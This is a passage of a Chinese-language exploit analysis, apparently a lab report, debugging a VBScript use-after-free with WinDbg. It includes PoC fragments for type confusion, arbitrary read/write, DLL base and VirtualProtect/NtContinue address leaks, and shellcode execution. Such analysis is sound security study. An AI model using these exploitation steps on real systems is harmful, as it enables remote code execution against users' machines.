01d823f8 000000d4 00000000 00000000 00000000
0:005> du 2ba02c
002ba02c "Trigger"
再运行到第二次IsEmpty断点,此时cla4_obj1占位已经完成:
0:005> g
Breakpoint 0 hit
eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001
eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6dd5c206 8bff mov edi,edi
0:005> dd 1d82388
01d82388 6dd41748 00000002 01d593f0 0049ff68 //引用计数变成2
01d82398 000001a8 00000000 00000000 00000000
01d823a8 00000000 002ba02c 00000000 01d82350
01d823b8 1f487ea5 80000000 000000cd 00000000
01d823c8 00000000 00000000 00000000 00000000
01d823d8 00000000 00000000 00000000 00000000
01d823e8 00000000 00000000 1f487eac 80000000
01d823f8 000000d4 00000000 00000000 00000000
0:005> du 2ba02c
002ba02c "cla4" //同样的地址cla4_obj1已经占位
第三次IsEmpty断点,参数为array_c:
0:005> g
Breakpoint 0 hit
eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001
eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6dd5c206 8bff mov edi,edi
0:005> dd poi(esp+c)
0049ec10 0000600c 00000000 01d81228 002e1e00 //002e1e00是array_c的data buffer
0049ec20 02570002 0049df00 00490013 0257cea8
0049ec30 02570002 0049df00 00490001 0257cea8
0049ec40 6dd40002 0257cee4 02570027 0049df00
0049ec50 6dd40002 0257cee4 02570001 0049df00
0049ec60 6dd40002 0257cee4 02570006 0049df00
0049ec70 6dd40002 0257cee4 02570001 0049df00
0049ec80 6dd40002 0257cee4 02570006 0049df00
0:005> dd 2e1e00 //0031b3c0是array_c数据元素地址
002e1e00 08920001 00000010 00000000 0031b3c0
002e1e10 00000007 00000000 1f784f01 88000400
002e1e20 682fbdc8 00000000 67f95d74 002c66b8
002e1e30 67f95b60 00000000 00000000 00000000
002e1e40 03000004 00000000 1f784f0b 8c006f00
002e1e50 67f73928 00000001 00000008 00000000
002e1e60 00000000 002c1b30 00326c70 00000000
002e1e70 00000000 67f8e200 1f784f0d 88006000
0:005> dd 31b3c0
0031b3c0 6dd40009 01d8238c 01d823c0 6dd44211 //01d823c0是类对象地址
0031b3d0 6dd40009 01d823c4 01d823c0 6dd44211
0031b3e0 6dd40009 01d823c4 01d823c0 6dd44211
0031b3f0 6dd40009 01d823c4 01d823c0 6dd44211
0031b400 6dd40009 01d823c4 01d823c0 6dd44211
0031b410 6dd40009 01d823c4 01d823c0 6dd44211
0031b420 6dd40009 01d823c4 01d823c0 6dd44211
0031b430 1f7bbb44 80000000 00000098 00690066
0:005> dd 1d823c0
01d823c0 6dd400cd 00000000 00000000 00000000
01d823d0 000001a8 00000000 00000000 01d5b9dc
01d823e0 00000001 00321784 00000000 00000000
01d823f0 1f487eac 80000000 000000d4 00000000
01d82400 00000000 00000000 00000000 00000000
01d82410 00000000 00000000 00000000 00000000
01d82420 00000000 00000000 1f487e57 80000000
01d82430 000000db 00000000 00000000 00000000
0:005> du 321784
00321784 "cla2"
第四次IsEmpty断点,此时MyClass2_obj2占位已经完成:
此时仍然查看1d82388:
0:005> g
Breakpoint 0 hit
eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001
eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
6dd5c206 8bff mov edi,edi
0:005> dd 1d823c0
01d823c0 6dd41748 00000002 01d59510 0049ff68 //引用计数为2
01d823d0 000001a8 00000000 00000000 00000000
01d823e0 00000000 00321784 00000000 01d82388
01d823f0 1f487eac 80000000 000000d4 00000000
01d82400 00000000 00000000 00000000 00000000
01d82410 00000000 00000000 00000000 00000000
01d82420 00000000 00000000 1f487e57 80000000
01d82430 000000db 00000000 00000000 00000000
0:005> du 321784
00321784 "cla4" //同样的地址cla4_obj2已经占位
以上就是PoC中的UAF函数所做的事情,接下来来看InitObjects函数。
同样还是再代码里加上了IsEmpty便于调试:
Sub InitObjects
'Alert "InitObjects"
IsEmpty(cla4_obj1)
cla4_obj1.SetProp(cla6_obj1) '会调用class6的Get P,完成了string--->array的类型转换
IsEmpty(cla4_obj1)
IsEmpty(cla4_obj2)
cla4_obj2.SetProp(cla7_obj1) '会调用class7的Get P,完成了string--->long的类型转换
IsEmpty(cla4_obj2)
'Alert "InitObjects2"
spec_int_1=cla4_obj2.mem '这句将上面指向0000的那个字符串的指针泄露给了spec_int_1
IsEmpty(spec_int_1)
End Sub
在执行前我们先来回顾一下cla4_obj1的地址:
0:005> dd 1d82388
01d82388 6dd41748 00000002 01d593f0 0049ff68 //cla4_obj1.mem的地址
01d82398 000001a8 00000000 00000000 00000000
01d823a8 00000000 002ba02c 00000000 01d82350
01d823b8 1f487ea5 80000000 000000cd 00000000
01d823c8 00000000 00000000 00000000 00000000
01d823d8 00000000 00000000 00000000 00000000
01d823e8 00000000 00000000 1f487eac 80000000
01d823f8 000000d4 00000000 00000000 00000000
0:005> du 2ba02c
002ba02c “cla4” //同样的地址cla4_obj1已经占位
在执行到cla4_obj1.SetProp(cla6_obj1)这里的时候,会去调用cla4的SetProp函数:
Class cla4
Dim mem
Function P
End Function
Function SetProp(Value)
IsEmpty("enter cla4:SetPro")
mem=0
mem=Value '这一步会调用cla6的Get P
SetProp=0
End Function
End Class
在Get P中实现了又一次的占位与一次类型的替换:
Class cla6
Public Default Property Get P 'Property Get 语句 用来取得(返回)的值
IsEmpty("cal6:call Get P")
Dim cla5_obj1
'CDbl是转换成双精度浮点数据类型
'dd 00000005 00000000 00000000 0000200C
P=CDbl("174088534690791e-324") '对cla4_mem赋值,把string改为array类型
For i=0 To 6 'array_b原本保存了Trigger的引用,而Trigger被释放后是由
array_b(i)=0 'cla4_obj1占位的。array_b赋值为0,也就是将cla4_obj1的内存释放了
Next
IsEmpty("finish set array_b to 0")
Set cla5_obj1=New cla5 '再次使用悬垂指针重新用cla5_obj1占位,
cla5_obj1.mem=str_1 '并对cla5.mem赋值伪造的字符串 7fffffff的safearray,
IsEmpty(cla5_obj1)
For i=0 To 6
Set array_b(i)=cla5_obj1
Next
End Property
End Class
重新调试了一遍,现在cla4_obj1地址为25010b8,cla4_obj2地址为25010f0。
现在进入cla6 Get P中的第一个IsEmpty:
vbscript!VbsIsEmpty:
6f39c206 8bff mov edi,edi
0:005> dd poi(esp+c)
0015eed8 00000008 00000000 024f54a0 00000000
0015eee8 00000000 00000000 00000000 00000000
0015eef8 00000000 00000000 00000000 00000000
0015ef08 00000000 00000000 00000000 00000000
0015ef18 00000000 00000000 00000000 00000000
0015ef28 00000000 00000000 00000000 00000000
0015ef38 6f380000 025010f4 0015fdf8 6f384211
0015ef48 024cc260 0015ef68 025010f0 6f384211
0:005> du 024f54a0
024f54a0 "cal6:call Get P"
再进入第二个IsEmpty:
vbscript!VbsIsEmpty:
6f39c206 8bff mov edi,edi
0:005> dd poi(esp+c)
0015eed8 024c0008 024cbf68 024f54fc 0000200c
0015eee8 024c0002 0015cfd8 02500006 024cbf94
0015eef8 024c0002 0015cfd8 02500001 024cbf94
0015ef08 00000000 00000000 00000000 00000000
0015ef18 00000000 00000000 00000000 00000000
0015ef28 00000000 00000000 00000000 00000000
0015ef38 024c0005 024cbf68 00000000 0000200c
0015ef48 024cc260 0015ef68 025010f0 6f384211
0:005> du 024f54fc
024f54fc "finish set array_b to 0"
现在再来看一下cla4_obj1的占位:
0:005> dd 25010b8
025010b8 6f3800d4 00000000 00000000 00000000
025010c8 00000490 00000000 00000000 00000000
025010d8 00000000 005b34dc 00000000 00000000
025010e8 67b123d5 88000000 6f381748 00000001
025010f8 024d8510 0015e698 00000490 00000000
02501108 00000000 00000000 00000000 005a55b4
02501118 00000000 02501080 67b123ec 8c000000
02501128 6f38ce78 6f393100 6f3930f0 00000002
可以看到原来占位的cla4_obj1内存被释放掉了。
0:005> !heap -p -a 25010b8
address 025010b8 found in
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
025010b0 0007 0000 [00] 025010b8 00030 - (free)
可以看到处于释放状态。
第三次断点,此时再次进行占位,使用的是cla5_obj1:
//源码
Set cla5_obj1=New cla5 '再次使用悬垂指针重新用cla5_obj1占位,
cla5_obj1.mem=str_1
IsEmpty(cla5_obj1)
‘这个str1是一个全局变量,
‘str_1=Unescape(“%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000”)
调试可以发现前面被free的地址又被占位了:
0:005> dd 25010b8
025010b8 6f381748 00000002 024d83f0 0015e698//24d83f0是cla5.mem的地址
025010c8 00000490 00000000 00000000 00000000
025010d8 00000000 005b34dc 00000000 025010f0
025010e8 67b123d5 88000000 6f381748 00000001
025010f8 024d8510 0015e698 00000490 00000000
02501108 00000000 00000000 00000000 005a55b4
02501118 025010b8 02501080 67b123ec 8c000000
02501128 6f38ce78 6f393100 6f3930f0 00000002
0:005> du 5b34dc
005b34dc "cla5"
我们再来看一下cla5.mem:
0:005> dd 024d83f0
024d83f0 024da7a8 000000b8 00000100 00000100
024d8400 00004000 024da7ac 024da84c 02502c70
024d8410 0000000f 00000003 00000040 00000003
024d8420 00000014 024d8428 024da7ac 024da7f4
024d8430 024da82c 00750025 00300030 00300030
024d8440 00750025 00300030 00300030 00750025
024d8450 00300030 00300030 00000000 024d8784
024d8460 00010044 70e47cd6 00000000 00000000
0:005> dd 024da82c
024da82c 024d0008 024d87dc 005b34b4 00000000//0x08是类型,代表的vbstring,后面会把这个类型改为safearray即0x200c
024da83c 00000000 00000000 0000822f 00000006
024da84c 00000000 00000000 00000003 000005f8
024da85c 0065006d 0000006d 024da838 00000012
024da86c 00000000 000005d0 000005f8 00000000
024da87c 024da7b4 024da84c 0000002b 00000000
024da88c 000005cb 0000060b 00000000 024da718
024da89c 024da914 00000002 00000000 000005fa
//看伪造的这个类似于数组的字符串,它的元素有7fffffff个,每个元素占一字节,元素内存地址为0,那它能访问的内存空间是0-0x7fffffff
//如果现在类型变为safearray,就能够实现全址读写
//str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
0:005> dd 005b34b4
005b34b4 08800001 00000001 00000000 00000000
005b34c4 7fffffff 00000000 6f380000 67e6a972
005b34d4 88000000 00000008 006c0063 00350061
005b34e4 00650000 00000072 00000000 00000000
005b34f4 00000000 67e6a977 8c000000 00000001
005b3504 00000000 00000000 7fffffff 7fffffff
005b3514 80000001 80000001 00000000 67e6a94c
005b3524 88000000 00000000 00000000 0075006f
在Get P 执行完成后,P作为返回值返回给cla4.mem成员变量中,我们再来看一下P:
//源码中;
P=174088534690791e-324 //优化后这样的:
P=CDbl(“174088534690791e-324”) //CDbl是vbs中把表达式转化为双精度类型的一个函数
174088534690791 e-324 是174088534690791的-324平方
用c语言计算为:printf(“%I64x\n”,174088534690791e-324);
为,200c00000000,
由它是vbDouble类型,前面会有一个0x05的标志,
最终在内存中P的值为:00000005 00000000 00000000 0000200C
这样就把0x08改为了0x200c。
调试看一下:
vbscript!VbsIsEmpty:
6f39c206 8bff mov edi,edi
0:005> dd 024da82c
024da82c 0000200c 024d87dc 005b34b4 00000000
024da83c 00000000 00000000 0000822f 00000006
024da84c 00000000 00000000 00000003 000005f8
024da85c 0065006d 0000006d 024da838 00000012
024da86c 00000000 000005d0 000005f8 00000000
024da87c 024da7b4 024da84c 0000002b 00000000
024da88c 000005cb 0000060b 00000000 024da718
024da89c 024da914 00000002 00000000 000005fa
0:005> dd 024da82c-c
024da820 024c0005 024cbf68 00000000 0000200c
024da830 024d87dc 005b34b4 00000000 00000000
024da840 00000000 0000822f 00000006 00000000
024da850 00000000 00000003 000005f8 0065006d
024da860 0000006d 024da838 00000012 00000000
024da870 000005d0 000005f8 00000000 024da7b4
024da880 024da84c 0000002b 00000000 000005cb
024da890 0000060b 00000000 024da718 024da914
//为什么是从mem地址-c开始的,,这个-c的位置,是原来没有被释放的时候的cla4_obj1.mem的地址,//就是P修改的是释放前的mem的地址,释放前与占位后的mem相差0x0C字节,//00000005 00000000 00000000 0000200C这个数,刚好从0c的位置写入了0x200c
最终实现了 vbstring—>safearray的类型转换,cla5.mem最终拿到任意地址读写权限,在InitObjects函数中的cla4_obj2.SetProp(cla7_obj1)使用了同样的方法,这里就不一一调试了。最后还有泄露字符串指针的关键代码:
//源码
Alert “InitObjects2”
spec_int_1=cla4_obj2.mem ‘这句将上面指向0000的那个字符串的指针泄露给了spec_int_1
IsEmpty(spec_int_1)
其实在上面就已经利用vbscript的漏洞实现了全地址读写,下面就是利用上面产生的对象实行PoC地址的泄露以及shellcode的构造和执行。
先来对PoC中的地址进行泄露:
//此函数泄露 CScriptEntryPoint 对象的虚函数表地址,该地址属于Vbscript.dll。
Function LeakVBAddr
On Error Resume Next '忽略错误,执行下一条代码
Dim emptySub_addr_placeholder '构造一个类型为null 的 CScriptEntryPoint 对象
emptySub_addr_placeholder=EmptySub
emptySub_addr_placeholder=null
IsEmpty(emptySub_addr_placeholder) '此断点可以查看此 CScriptEntryPointObject 地址
SetMemValue emptySub_addr_placeholder '这种传参数不用括号也是可以的
LeakVBAddr=GetMemValue()
End Function
这个时候也可以在LeakVBAddr函数中IsEmpty的断点查看emptySub_addr_placeholder:
0:005> dd poi(esp+c)
0055fe58 00000001 000007ff 0055e030 cf0000cf //这个对象地址下一步会保存在指向空字符串+8的地方
0055fe68 00000001 000007ff 0055e030 cf0000cf
0055fe78 00000000 00000000 02021598 00000000
0055fe88 024bd3d8 0055fea8 020217a0 00000000
0:005> ln poi(0055e030) //发现它是一个CScriptEntryPoint对象,
(6a5b4934) vbscript!CScriptEntryPoint::`vftable' | (6a5cab54) vbscript!CEntryPointDispatch::`vftable'
Exact matches:
vbscript!CScriptEntryPoint::`vftable` = <no type information>
我们再来看一下代码是如何产生一个CScriptEntryPoint对象的:
On Error Resume Next //首先它定义了忽略错误
Dim emptySub_addr_placeholder //定义一个变量
emptySub_addr_placeholder =EmptySub //将函数指针赋值给一个变量,VBS语法是不允许这样的,但是其上面忽略了错误,最终这个函数指针的值仍然被赋值给了变量
emptySub_addr_placeholder=null //然后将该值的类型设置为null,最终,变量里面仍然保存着一个函数指针,但是类型为null
进入SetMemValue函数,要记住上面在InitObjects函数的最后spec_int_1中保存的就是那个0字符串的地址:
//源码
Sub SetMemValue(ByRef Ili)
cla4_obj1.mem(spec_int_1+8)=Ili '将CScriptEntryPoint对象放到spec_int_1+8的位置
IsEmpty("SetMemValue Finish")
End Sub
对于这样的修改是因为cla4_obj1.mem已经是一个可以全地址读写的array了,这里一样通过IsEmpty进行下断:
//调试
Breakpoint 3 hit
eax=6a5b185c ebx=024bcea0 ecx=6a60a9d8 edx=024bce18 esi=02016a68 edi=00000001
eip=6a5cc206 esp=024bcd34 ebp=024bcd44 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:6a5cc206 8bff mov edi,edi
//这个地址就是上面的指向空字符的地址:
0:005> dd 003f9dd4003f9dd4 00000000 00000000 00000001 000007ff //从+8的位置保存的便是CScriptEntryPoint对象,这个0x01是vbNull(可查询上方表格)
003f9de4 0055e030 cf0000cf 003f93a4 4b92935b
003f9df4 8c000000 00000001 00000000 00000000
003f9e04 7fffffff 7fffffff 80000001 80000001
003f9e14 00000000 4b929326 88000000 00000000
003f9e24 006e0000 00740069 0062004f 0065006a
003f9e34 00740063 00000073 003f9e4c 4b92932d
003f9e44 88000000 00000018 006e0049 00740069
之后就是进入GetMemValue函数:
//源码Function GetMemValue
cla4_obj1.mem(spec_int_1)= 3 '将CScriptEntryPoint对象 的类型改为3 即为Long
IsEmpty("GetMemValue Finish")
GetMemValue=cla4_obj1.mem(spec_int_1+ 8)End Function
整个过程的效果就是在GetMemValue=cla4_obj1.mem(spec_int_1+ 8)这一步把0055e030的值给了GetMemValue,GetMemValue赋值给了LeakVBAddr ,以上整个LeakVBAddr函数过程得到了vbLong型的CScriptEntryPoint对象地址。
接下来的一些过程其实也是一些关键地址的获取,这里重点通过原始POC分析代码的运行逻辑,先来讲一下PoC中的GetUint32函数:
//函数参数为对象地址,然后该函数返回的是这个对象的虚函数表地址
Function GetUint32(addr)
Dim value
IsEmpty("enter GetUint32")
cla4_obj1.mem(spec_int_1+8)=addr+4 '原本存放CScriptEntryPoint对象的位置 存放 该对象地址+4
IsEmpty("spec_int_1+8")
cla4_obj1.mem(spec_int_1)=8 '改为字符串 type string
IsEmpty("type string")
value=cla4_obj1.P0123456789
IsEmpty(value)
cla4_obj1.mem(spec_int_1)=2 '改为 整型 type vbInteger
IsEmpty("type vbInteger")
GetUint32=value
End Function
从之前我们已经分析过了Class cla5,那么我们就可以知道value=cla4_obj1.P0123456789这一步最终返回的是CScriptEntryPoint类对象的虚函数表地址。整个函数就是为了得到VBScript.dll中的CScriptEntryPoint对象虚函数表。
再来看获取VBScript.dll基地址的函数:
Function FindMzBase(vtable_address)
Dim base
base=vtable_address And &hffff0000 '64k对齐,得到vbscript.dll 基地址
Alert "FindMzBase "
IsEmpty(base)
Do While GetUint32(base+&h68)<>&h206E6920 Or GetUint32(base+&h6c)<>&h20534F44
base=base-&h10000
Loop
IsEmpty(base)
FindMzBase=base
End Function
最后就是获取其余的dll以及函数地址:
VBScript.dll导入了msvcrt.dll,msvcrt.dll又导入了kernelbase.dll与ntdll.dll,遍历它们的导入表最终可以从kernelbase.dll中获取到VirtualProtect函数地址,从ntdll.dll中获取NtContinue函数地址,具体的来看一下POC:
'首先得到VBScript地址,其传入的是CScriptEntryPoint虚函数表对象地址
vbs_base=FindMzBase(GetUint32(vb_adrr))
Alert "VBScript Base: 0x" & Hex(vbs_base)
'遍历VBScript.dll导入表找到msvcrt.dll基地址
msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
Alert "MSVCRT Base: 0x" & Hex(msv_base)
'遍历msvcrt.dll导入表找到kernelbase.dll基地址
krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
Alert "KernelBase Base: 0x" & Hex(krb_base)
'遍历msvcrt.dll导入表找到ntdll.dll基地址
ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
Alert "Ntdll Base: 0x" & Hex(ntd_base)
'从kernelbase.dll找到VirtualProtect函数地址
VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr)
'从ntdll.dll找到 NtContinue 函数地址
NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
Alert "Ntdll!NtContinue Address 0x" & Hex(NtContinueAddr)
最后就通过以下代码返回Shellcode地址:
//PoC源码
SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8
IsEmpty(ShellcodeAddr)
最后进行一个总结的话就是从取得全地址读写权限以后,进行的构造是从 VAR::Clear 中调用了 ntdll!ntContinue,而且又仿造好了一个了 CONTEXT结构体,这样利用 ntdll!ntContinue还原了一个假的进程。且 eip 就是 VirtualProtect,而栈空间esp是前面准备好的,返回值为shellcode入口,VirtualProtect的执行参数也是shellcode区域,最后VirtualProtect函数执行完,直接返回到shellcode的开始处开始执行。
五、 实验结果
这次实验最终的结果首先就是对于漏洞产生进行的一个验证,然后就是通过POC进行一个计算器的弹出:
六、 问题与感悟
在调试、复现漏洞的过程中遇到的第一个问题就是windbg的配置问题,其中主要是由于symbol无法正常匹配所产生的问题,而无法正常读取符号表的问题也就是symbol相对应的网络链接被墙了,导致无法访问,最后的解决方法也就是通过下载离线的符号表进行本地调用。之后存在的第二个问题的话就是在我们之前调试POC实现全地址读写中有一个关键点就是在最后使用myclass1占位空间时,vbs引擎并未清理掉之前myclass2的成员变量mem,而该变量地址刚好与myclass1.mem相差0xC,以至于后续可以实现类型混淆构造出任意地址访问的数组结构。之后通过调试可以理解到类结构解析过程中各成员的初始化顺序以及VBS中特有的默认属性构造函数default property get function的执行逻辑。这个时候再回过头来看一下之前提到过的一个数据结构:
按照上述结构可以根据类对象0x30的结构解析出对象中各成员(成员函数和成员变量)的具体位置。动态验证过程中不难发现在实际成员初始化的过程中,各成员会以VARIANT的形式按照既定的初始化顺序存储在一段连续的内存空间中。这里我们就可以知道类成员的内存分配,根据所有成员按需且遵循前面提到的初始化顺序申请一块连续的内存空间,各成员VVAL1,VVAL2,VVAL3…均以一个0x10的VARIANT结构呈现,相邻成员变量之间偏移等于一个固定的内存空间0x32+前一个成员名称(UNICODE字符串)的长度。
最后的话就来一个综合的理解:
1、初始占位内存的地址为0x0235f4bc、即类对象第一个初始化的成员变量的VARIANT结构地址。
2、用myclass2占位时,myclass2.mem的VARIANT地址= 0x0235f4bc + 0x32 +len(“p”) +0x32 + len(“setprop”) = 0x0235f530。
其VARIANT结构:00000008 00000000 002aa5e4 00000000。
3、用myclass1占位前,myclass1.mem的VARIANT地址= 0x0235f4bc + 0x32 +len(“p0123456789”) +0x32 + len(“p01”) = 0x0235f53c。
其VARIANT结构:00000008 00000000 002aa5e4 00000000。
4、调用myclass2.setprop(myconf),myconf类的default property get p将浮点数174088534690791e-324(内存结构为:00000005 000005dd 00000000 0000200c)赋给myclass2.mem。由于myclass1.mem与myclass2.mem的VARIANT结构偏移0xc,将会覆盖上一步中的“0008”为“200c”,如下图所示。
通过逆向分析、调试以及复现这个cve,我感觉自己又丰富了一些新的知识,之前很多知识都是一知半解,不是很能理解写相应脚本的思路是什么,这次实实在在的通过静态分析和动态分析相结合的方式,可以说是比较完整地理解了这个cve以及相关的利用代码了,收获颇大。